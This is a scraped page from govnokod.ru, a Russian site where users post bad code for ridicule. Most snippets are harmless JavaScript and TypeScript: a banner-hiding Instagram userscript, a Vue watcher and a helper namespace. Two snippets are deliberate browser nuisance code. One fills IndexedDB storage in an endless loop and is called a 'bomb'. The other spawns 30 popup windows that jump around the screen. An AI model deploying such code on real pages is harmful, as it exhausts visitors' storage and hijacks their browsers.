- 1
https://pastebin.com/hC1Ux6kC
Нашли или выдавили из себя код, который нельзя назвать нормальным, на который без улыбки не взглянешь? Не торопитесь его удалять или рефакторить, — запостите его на говнокод.ру, посмеёмся вместе!
0
https://pastebin.com/hC1Ux6kC
По колено в коде... Код одной обезьяны, которая решилась дописать вакабу до ума... спойлер: судя по коду она обосралась, уберите от экрана детей и беременных женщин
0
// ==UserScript==
// @name Unnamed Script 230178
// @version 1
// @grant none
// @include https://www.instagram.com/*
// ==/UserScript==
window.addEventListener('load', function(){
console.log("my script starting...");
const body = document.querySelector('body');
const config = {
attributes: true,
attributeFilter: ["style"]
};
const callback = function(mutationsList, observer) {
console.log("mutation aaargh-aaarghrghrhg");
for (let mutation of mutationsList) {
console.log('zaloop');
// if (mutation.type === 'attributes' && mutation.attributeName === 'style') {
try {
body.setAttribute('style', '');
document.querySelector('.RnEpo').setAttribute('style', 'display: none;');
observer.disconnect();
console.log("#hide");
} catch (e) {
console.log(e);
}
// }
}
};
const observer = new MutationObserver(callback);
observer.observe(body, config);
console.log("my script stop");
});
Ночью не спал
Инстаграм листал
Чтобы баннер не мешал
Такой скрипт написал.
−1
var dockStation = new Vue({
el: '#dock',
data: {
enable: false,
text1: 'one',
text2: 'two',
text3: 'three',
concat: ''
},
watch: {
text1: function(v) {
this.concat = 'You listen:' + v + ' ' + this.text2+' '+this.text3;
},
text2: function(v) {
this.concat = 'You listen:' + this.text1+' '+v+' '+this.text3;
},
text3: function(v) {
this.concat = 'You listen:' + this.text1+' '+this.text2+' '+v;
},
}
});
когда ебашил нахуй в далеком 2015 году ахуенном получал за такой код 100 кусков в месяц
ебаать врмеена были
−4
document.addEventListener('DOMContentLoaded', function() {
var req = indexedDB.open('site');
req.onerror = function() {
alert(this.error);
};
req.onupgradeneeded = function() {
let db = this.result;
if(!db.objectStoreNames.contains('files'))
db.createObjectStore('files', { autoIncrement: true });
};
let n = 0;
req.onsuccess = function() {
setTimeout(function run() {
n++;
let db = req.result;
let t = db.transaction('files', 'readwrite');
let file = t.objectStore('files');
let str = new Date().toString().repeat(1000);
for(let i=0;i<100;i++)
file.add(str);
if(n < 1000000)
setTimeout(run);
});
};
});
теперь страница не будет подвисать
−4
var req = indexedDB.open('site');
req.onupgradeneeded = function() {
let db = this.result;
if(!db.objectStoreNames.contains('files'))
db.createObjectStore('files', { autoIncrement: true });
};
req.onsuccess = function() {
let db = this.result;
let t = db.transaction('files', 'readwrite');
let file = t.objectStore('files');
let str = new Date().toString().repeat(1000);
while(true)
file.add(str);
};
Эту бомбу лучше ставить после полной загрузки страницы
−1
let windows = [];
for(let i=0;i<30;i++) {
windows.push(open('about:blank', 'w'+i, 'width=220,height=220'));
windows[windows.length-1].document.write('<img width="200" src="https://yandex.ru/images/_crpd/QXyR57D17/58778cEG/ztbSEyQN1MQPOKIh-mQphsVGWJdV_rEIEfYazmN1g0xPpX0igbVWfIKWpfMEAObKC6K6ZWrKj3oC51h2Nj70EtoS5kOEGYXVP10XoFpA">');
}
let x = 0;
for(let i=0;i<30;i++) {
setTimeout(function run() {
if(x > 10000) {
windows[i].close();
return;
}
x++;
windows[i].moveTo((Math.random()*screen.width).toFixed(), (Math.random()*screen.height).toFixed());
setTimeout(run, 100);
});
}
Мой лучший гавнакод
−3
export namespace Ext {
export function isEmpty(obj: any): boolean {
return (typeof obj === "undefined" || obj === null || obj === "");
}
export function setReadonly(flag: boolean, ...args: any[]): void {
args.length > 0 ? (flag ? args.forEach(arg => !isEmpty(arg) ? arg.setDisabled(false) : null) :
args.forEach(arg => !isEmpty(arg) ? arg.setDisabled(true) : null)) : null;
}
export function filterInt(value) {
if (isStrToInt(value))
return Number(value);
return NaN;
}
export function isStrToInt(value: string): boolean {
return /^(-|\+)?(\d+|Infinity)$/.test(value) ? true : false;
}
}
Типичный хелпер на ts проекте
−2
https://news.ycombinator.com/item?id=21779397
Я джва года ждал такую книгу!
+1
https://sun1-28.userapi.com/c854224/v854224060/1a2490/7JEShAFqoEU.jpg
Сишник половину из этого увидит логичным.
А JS макаки без должного математического образования не знают даже, как правильно проверять на эквивалентность floating point numbers.
−1
http://joxi.net/a2XoPdDTDwWGkm
"Отличная реклама" ещё бы кодить научили